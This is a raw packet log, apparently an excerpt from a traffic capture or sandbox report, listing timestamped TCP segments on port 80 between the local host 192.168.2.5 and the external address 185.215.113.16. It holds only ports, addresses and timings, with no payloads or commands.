Dec 27, 2024 08:45:40.588454962 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.588594913 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.589037895 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.589085102 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.589101076 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.589148045 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.589169979 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.589833975 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.589880943 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.589898109 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.589904070 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.589919090 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.589981079 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.590630054 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.590665102 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.590682983 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.590698957 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.590728045 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.590791941 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.590831041 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.591509104 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.591535091 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.591550112 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.591582060 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.591612101 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.592298031 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.592346907 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.592363119 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.592369080 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.592396021 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.592457056 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.592858076 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.592978001 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.593048096 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.593064070 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.593103886 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.593149900 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.593797922 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.593822002 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.593851089 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.593868017 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.593904018 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.593931913 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.594587088 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.594629049 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.594630003 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.594647884 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.594682932 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.594710112 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.594746113 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.595379114 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.595412016 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.595427990 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.595455885 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.595510006 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.596184969 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.596224070 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.596230030 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.596241951 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.596263885 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.596343994 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.596602917 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.596960068 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.597021103 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.597037077 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.597076893 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.597095966 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.597745895 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.597774029 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.597789049 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.597800016 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.597815990 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.597913980 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.597955942 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.598565102 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.598594904 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.598608971 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.598649979 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.598679066 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.599328995 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.599375010 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.599404097 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.599420071 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.599452019 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.599458933 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.599489927 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.600121021 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.600193977 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.600208998 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.600243092 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.600265980 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.600336075 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.600929976 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.601018906 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.601037979 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.601064920 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.601078987 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.601105928 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.601715088 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.656352997 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.773364067 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.773399115 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.773416042 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.773442984 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.773497105 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.773554087 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.773595095 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.773628950 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.773644924 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.773685932 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.774111032 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.774152994 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.774169922 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.774214983 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.774240971 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.774243116 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.774888992 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.774946928 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.774959087 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.774975061 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.775011063 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.775036097 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.775666952 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.775708914 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.775724888 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.775757074 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.775782108 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.775859118 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.776496887 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.776523113 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.776540995 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.776570082 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.776593924 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.776595116 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.777264118 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.777312040 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.777318954 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.777335882 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.777404070 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.777410984 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.778054953 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.778110981 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.778126001 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.778163910 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.778192997 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.778201103 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.778836966 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.778904915 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.778918028 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.778934002 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.778983116 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.778986931 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.779649973 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.779701948 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.779705048 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.779722929 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.779767036 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.779812098 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.780441999 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.780472040 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.780495882 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.780524015 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.780551910 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.780587912 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.781254053 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.781291008 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.781306028 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.781318903 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.781351089 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.781353951 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.782026052 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.782078981 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.782095909 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.782124043 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.782145977 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.782170057 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.782883883 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.782938957 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.782958984 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.782975912 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.783010006 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.783015966 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.783597946 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.783643007 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.783658028 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.783688068 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.783710957 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.783734083 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.784399986 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.784461975 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.784462929 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.784480095 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.784544945 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.784557104 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.785195112 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.785234928 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.785250902 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.785280943 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.785309076 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.785331964 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.785983086 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.786030054 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.786031961 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.786047935 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.786094904 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.786133051 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.786777020 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.786825895 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.786843061 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.786876917 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.786892891 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.786914110 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.787585974 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.787652969 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.787669897 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.787674904 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.787722111 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.787731886 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.788393021 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.788427114 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.788443089 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.788477898 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.788496971 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.788501978 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.789159060 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.789217949 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.789236069 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.789269924 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.789294958 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.789314985 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.789988041 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.790021896 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.790038109 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.790038109 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.790079117 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.790102959 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.790759087 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.790833950 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.790848970 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.790883064 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.790887117 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.790911913 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.791527033 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.791577101 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.791590929 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.791645050 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.791665077 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.791693926 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.792336941 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.792381048 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.792396069 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.792439938 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.792460918 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.793109894 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.793168068 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.793183088 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.793183088 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.793215990 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.793217897 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.843825102 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.965117931 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.965153933 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.965169907 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.965187073 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.965301037 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.965415001 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.965497017 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.965542078 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.965548038 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.965955019 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.966020107 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.966034889 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.966063023 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.966082096 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.966093063 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.966756105 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.966797113 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.966811895 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.966839075 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.966870070 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.966875076 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.967442989 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.967493057 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.967508078 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.967529058 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.967552900 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.967566013 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.968235970 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.968280077 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.968295097 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.968310118 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.968341112 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.968362093 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.969016075 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.969064951 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.969079971 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.969106913 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.969126940 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.969160080 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.969836950 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.969880104 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.969890118 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.969904900 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.969939947 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.969961882 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.970599890 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.970659018 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.970674038 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.970700026 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.970714092 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.970755100 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.971425056 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.971492052 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.971503019 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.971512079 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.971544981 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.971590042 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.972188950 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.972224951 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.972240925 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.972256899 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.972290993 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.972343922 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.972987890 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.973022938 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.973053932 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.973071098 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.973100901 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.973136902 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.973792076 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.973834991 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.973850965 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.973869085 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.973891020 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.973901033 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.974580050 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.974612951 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:40.974641085 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.974656105 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:40.974689007 CET	49772	80	192.168.2.5	185.215.113.16
